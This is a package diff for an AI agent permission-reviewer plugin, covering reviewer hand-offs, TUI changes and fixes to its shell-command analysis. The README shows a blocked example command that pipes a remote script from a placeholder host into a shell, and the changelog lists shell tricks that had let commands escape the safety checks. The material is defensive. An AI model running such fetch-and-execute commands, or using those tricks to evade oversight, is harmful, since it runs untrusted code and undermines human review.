@noppu-labs/opencode-permission-reviewer 3.0.0 → 3.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -7,6 +7,136 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [3.1.0] - 2026-10-21
11
+
12
+ ### Added
13
+
14
+ - `systemOneEscalation: "reasoning-first"`: with a Jev `model` and an `escalationReviewer`, every
15
+ escalation that starts at Jev, including an invalid answer or a failed call, goes to the
16
+ reasoning reviewer before it can reach you, unless less than 15 seconds of the review budget
17
+ remain. The default, `"standard"`, keeps the existing routing.
18
+ - `systemOneDenialReview: true`: an uncertain Jev denial goes to the reasoning reviewer, which can
19
+ confirm or overturn it. Denials with a strong policy or safety signal stay final.
20
+ - Under `systemOneEscalation: "reasoning-first"`, and for an uncertain denial under
21
+ `systemOneDenialReview`, a reasoning approval after a Jev decision rated critical risk escalates
22
+ instead of allowing.
23
+ - Audit records carry `reviewerEscalatedFrom.trigger`, a `resolution` on escalations from the
24
+ System One backend, and `configWarnings`. `audit report` counts records by hand-off trigger and
25
+ by resolution.
26
+ - TUI: when Jev hands a request to the reasoning reviewer, the progress strip
27
+ and the V1 overlay switch to that reviewer and say why (for example
28
+ `gpt-6-luna after Jev's escalation`). The elapsed time keeps counting from
29
+ the start of the review.
30
+ - TUI: the result strip's second line names who decided ahead of the reason,
31
+ for example `gpt-6-luna overturned Jev's denial — …`; a review Jev decided
32
+ alone names Jev's model.
33
+ - TUI: reviewer config that cannot take effect, or a degraded config, raises
34
+ one toast per entry per TUI session (warning or error) and keeps a line in
35
+ the sidebar on both hosts. A healthy config shows no line. The V2 TUI reads
36
+ the lists from the reviewer's `status` RPC.
37
+ - A TUI guide (`docs/TUI.md`) with every screen: progress and hand-offs, result strips,
38
+ manual-review toasts, config warnings and long commands. The README shows the hand-off and result
39
+ screens. The images are rendered from the plugin's components; `bun run docs:screens` regenerates
40
+ them (`docs/DEVELOPMENT.md`, "TUI screens").
41
+ - A config warning when `model` is Jev, a valid `escalationReviewer` is configured and an explicit
42
+ `reviewBudgetMs` leaves less than 15000 ms after `timeoutMs`: hand-offs to the reasoning reviewer
43
+ would escalate to you instead. It applies in either routing mode, never degrades the config, and
44
+ the default budget never triggers it.
45
+
46
+ ### Changed
47
+
48
+ - The default `reviewBudgetMs` is now
49
+ `timeoutMs + max(timeoutMs, escalationReviewer.timeoutMs) + 60000`. It is
50
+ never shorter than before, and it grows when the escalation reviewer's
51
+ timeout is longer than `timeoutMs`. An escalation reviewer without its own
52
+ `timeoutMs` counts 120000.
53
+ - A hand-off to the reasoning reviewer now needs 15 seconds of review budget left; with less, the
54
+ request escalates (`resolution: "budget-exhausted"`). This applies in the default mode too.
55
+ - When the hand-off runs, `escalationMode: "deny"`, `riskPolicy.onInvalidDecision`, and
56
+ `riskPolicy.onReviewerFailure` act on the reasoning reviewer's final outcome, not on Jev's.
57
+ - TUI: a manual-review toast's first sentence now says how the review ended:
58
+ the reasoning reviewer's review still needs your approval, the reasoning
59
+ reviewer was unavailable (an error toast titled "Reasoning reviewer
60
+ unavailable"), or no review time was left for it. The reason still follows.
61
+ - TUI: the progress strip and the V1 overlay name the reviewer by the last segment of its model
62
+ ID (`jev-1.13.0`), like the rest of the TUI. On V2, the toast for a review with no time left for
63
+ the hand-off now names the reasoning reviewer's model, as on V1; the V2 TUI reads it from the
64
+ reviewer's `status` RPC (`escalationReviewerModel`).
65
+ - The TUI no longer hides the end of a long command. The progress strip, the result strip and the
66
+ V1 overlay show the first command, a muted `⋯ N more ⋯` and as many of the last commands as fit,
67
+ and a heredoc body the server can match shows as `⋯ N-line heredoc ⋯` instead of its contents. A
68
+ command too wide for even that shows the start of its first command and the end of its last. The
69
+ status's plain `action` (and the exported `permissionAction`) now keeps the start and end of a
70
+ long action around one `⋯` instead of cutting the end.
71
+ - Development: TypeScript 7 replaces TypeScript 6, and tsdown replaces tsup
72
+ for the build. tsup's declaration step needs the JavaScript compiler API,
73
+ which TypeScript 7 no longer ships, while tsdown emits declarations with
74
+ TypeScript 7's native compiler. The shipped files keep their names and
75
+ stay unsplit, and Node built-in imports in the bundles now keep their
76
+ `node:` prefix. The root `esbuild` override is gone, because nothing
77
+ installs esbuild any more.
78
+
79
+ ### Fixed
80
+
81
+ - V2: a block from a fail-closed escalation now shows "Review blocked
82
+ (fail-closed)" instead of "Review blocked", as V1 already did.
83
+ - TUI: a status whose reason, decision rationale or script analysis is too long for the status
84
+ message is no longer dropped. Config warning and degraded-config entries still go first; then the
85
+ rationale, the script analysis and, last, the reason are shortened as needed, down to `…` alone
86
+ when the overflow calls for it, so the status shows on both hosts.
87
+ - TUI: a command's shown text now renders control, directional, zero-width and non-ASCII space
88
+ characters as hex escapes (`\xHH`, `\uHHHH`, `\u{H...}`), shows a line continuation as `\⏎` and a
89
+ line break inside the shown text as a muted `⏎`, and shows a literal `⏎` or `⋯` typed in the
90
+ command as `\u23ce` or `\u22ef`, so every marker you see comes from the display itself.
91
+ - Shell analysis: an input-duplication redirection (`<&`, `3<&0`, `0<&-`) now
92
+ stays inside its token, `|&` and `;&` read as single separators, and a bare
93
+ carriage return is part of a word, so command structure is read the way the
94
+ shell runs it. In the TUI, a command with `|&`, `;&` or a carriage return
95
+ still shows as one line.
96
+ - Shell analysis: a token's recorded source text now matches the command it
97
+ was read from: inside double quotes, the character after a backslash is
98
+ no longer recorded twice, and a lone line continuation no longer carries
99
+ into the next token, so quoted and literal reads see the command as
100
+ written.
101
+ - Shell analysis: a heredoc is read where the shell reads one: inside an open command substitution
102
+ or backtick, and after a bare `((` that the shell re-reads as groups. A heredoc body opened inside
103
+ backticks or a `$((` substitution ends at that construct's close, and a closing backtick ends
104
+ every construct still open inside it, and a `$((` span is arithmetic only when the `)` matching
105
+ its second `(` is followed by `)`. A `<<` inside a parameter expansion or a valid arithmetic
106
+ expression stays text. A delimiter word keeps a carriage return as part of the word, and ends at a
107
+ closing backtick. The emergency brake also checks the reading that collapses every heredoc
108
+ operator, the reading the previous release used, and the command as written when a heredoc body
109
+ never ends or a heredoc sits inside a substitution or backticks. In that last case each line is
110
+ also checked on its own, with a backslash continuation joined to the line after it.
111
+ - Shell analysis: a command string the shell runs (`bash -c`, `sh -c`, `watch`, `ssh`, `find -exec
112
+ sh -c`, and the wrappers around them) gets the same brake readings as the top-level command. A
113
+ heredoc written before the command no longer hides the command: its placeholder is not a command
114
+ word.
115
+ - Shell analysis: a `$'…'` string ends where the shell ends it, so a backslash-escaped quote inside it no longer ends it early and the text after it is read as the shell reads it.
116
+ - Shell analysis: a `$'…'` word is read with its escapes decoded and a `$"…"` word as a
117
+ double-quoted string, the way the shell reads them, so a command or argument written that way
118
+ is judged like its plain spelling. Text an escape produces, such as `$` or `*`, is read as
119
+ quoted text.
120
+ - Shell analysis: a `|` or `&` right after an empty quoted redirection target such as `>''` is
121
+ read as its own operator, and a word after an empty here-string such as `<<<''` stays a separate
122
+ word.
123
+ - Shell analysis: a command substitution in double quotes, or in backticks anywhere, is read as part
124
+ of its word up to where the shell ends it, so quotes, separators and redirection operators inside
125
+ it no longer change how the rest of the command is read.
126
+ - Shell analysis: a parameter expansion inside double quotes, such as `"${name:-default}"`, is read
127
+ as part of its word up to where the shell ends it, including any quotes inside it.
128
+ - Shell analysis: when a heredoc's delimiter is unquoted, the commands its body's substitutions run
129
+ are checked like any other command.
130
+ - Shell analysis: a heredoc or here-string that a shell reads as its script, such as `sh <<'EOF'`
131
+ or `cat <<EOF | bash`, is checked line by line like any other command.
132
+ - Shell analysis: ssh, mosh and autossh arguments are read as those programs read them, including
133
+ every ssh option that takes a value, `--`, `ssh://` destinations and the login user.
134
+ - Shell analysis: wrapper and remote facts such as privilege escalation now also come from
135
+ commands inside command strings, `env -S`, `watch` and ssh remote commands, and from commands
136
+ after a leading redirection.
137
+ - Shell analysis: `env -S` strings, env's value options and abbreviated long options are read
138
+ as GNU env reads them, and input redirections on any command count toward credential reads.
139
+
10
140
  ## [3.0.0] - 2026-10-12
11
141
 
12
142
  ### Changed
package/MIGRATION.md CHANGED
@@ -67,7 +67,8 @@ Validated low-confidence denials remain denials.
67
67
 
68
68
  V2 isolates each reviewer in a temporary location with only its owned hooks.
69
69
  The total `reviewBudgetMs` includes context and retries; its default is
70
- `2 * timeoutMs + 60000`. Cancellation and unload close the attempt, interrupt
70
+ `timeoutMs + max(timeoutMs, escalationReviewer.timeoutMs) + 60000` (see
71
+ `docs/CONFIGURATION.md`). Cancellation and unload close the attempt, interrupt
71
72
  the auxiliary session, and discard late results. Retention keeps sessions for
72
73
  inspection; otherwise the authenticated client removes them.
73
74
  Deletion is verified after bounded retries. If cleanup cannot be confirmed,
package/README.md CHANGED
@@ -125,10 +125,18 @@ authorization level, rationale, and confidence. Invariants in code then decide w
125
125
  decision can stand: invalid output, low confidence, and risky actions without matching
126
126
  authorization escalate instead of being approved.
127
127
 
128
- ```text
129
- ✓ Review approved · bash · rm -rf /tmp/scratch-cache
130
- Narrowly scoped temp cleanup; matches user intent.
131
- ```
128
+ With Jev as the reviewer and an `escalationReviewer` configured
129
+ ([Reviewer models](docs/REVIEWER-MODELS.md)), Jev can hand a request to that reasoning reviewer,
130
+ and the progress strip says so; the elapsed time keeps counting from the start of the review.
131
+
132
+ ![Two progress strips. While Jev reviews: "◐ Reviewing this permission · jev-1.13.0 · system-one", 2.1s. After the hand-off: "◓ Reviewing this permission · gpt-6-luna after Jev's escalation · medium", 7.3s. Both show "bash · $ git push --force-with-lease origin release/2.4".](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/handoff-progress.svg)
133
+
134
+ Each result says who decided, ahead of the reason.
135
+
136
+ ![Three result strips. "✓ Review approved · bash · $ rm -rf /tmp/scratch-cache" with "jev-1.13.0 — Narrowly scoped temp cleanup; matches user intent." "✓ Review approved · bash · $ git push --force-with-lease origin release/2.4" with "gpt-6-luna after Jev's escalation — The user asked to update the release branch." "✕ Review blocked · bash · $ curl -fsS https://setup.invalid | sh" with "gpt-6-luna confirmed Jev's denial — Pipes a remote script into a shell."](https://raw.githubusercontent.com/noppu-labs/opencode-permission-reviewer/main/docs/images/result-attribution.svg)
137
+
138
+ The [TUI guide](docs/TUI.md) covers every screen, including manual-review toasts, config warnings
139
+ and long commands.
132
140
 
133
141
  ## Documentation
134
142
 
@@ -136,12 +144,13 @@ Narrowly scoped temp cleanup; matches user intent.
136
144
  | ------------------------------------------ | ------------------------------------------------------------------------ |
137
145
  | [Configuration](docs/CONFIGURATION.md) | Setup details, all options, config trust layers, headless use, audit log |
138
146
  | [Reviewer models](docs/REVIEWER-MODELS.md) | Picking a model, Jev System One, models without structured output |
139
- | [How it works](docs/HOW-IT-WORKS.md) | The review pipeline, TUI states, evidence enrichment |
147
+ | [How it works](docs/HOW-IT-WORKS.md) | The review pipeline, a TUI overview, evidence enrichment |
148
+ | [TUI guide](docs/TUI.md) | Every TUI screen: progress, hand-offs, results, toasts, config warnings |
140
149
  | [Safety](docs/SAFETY.md) | Safety properties and threat model |
141
150
  | [Supply chain](docs/SUPPLY-CHAIN.md) | What the package ships, dependency policy, known advisories |
142
151
  | [Compatibility](docs/COMPATIBILITY.md) | Supported versions and troubleshooting |
143
152
  | [Migration](MIGRATION.md) | Moving between OpenCode V1 and V2, rollback |
144
- | [Development](docs/DEVELOPMENT.md) | Build output, live testing, compatibility matrix, benchmark |
153
+ | [Development](docs/DEVELOPMENT.md) | Build output, live testing, compatibility matrix, benchmark, TUI screens |
145
154
 
146
155
  ## Contributing
147
156
 
package/dist/explain.d.ts CHANGED
@@ -1,4 +1,3 @@
1
- #!/usr/bin/env bun
2
- declare function runCli(argv: string[]): Promise<number>;
3
-
4
- export { runCli };
1
+ //#region src/cli/explain.d.ts
2
+ export declare function runCli(argv: string[]): Promise<number>;
3
+ //#endregion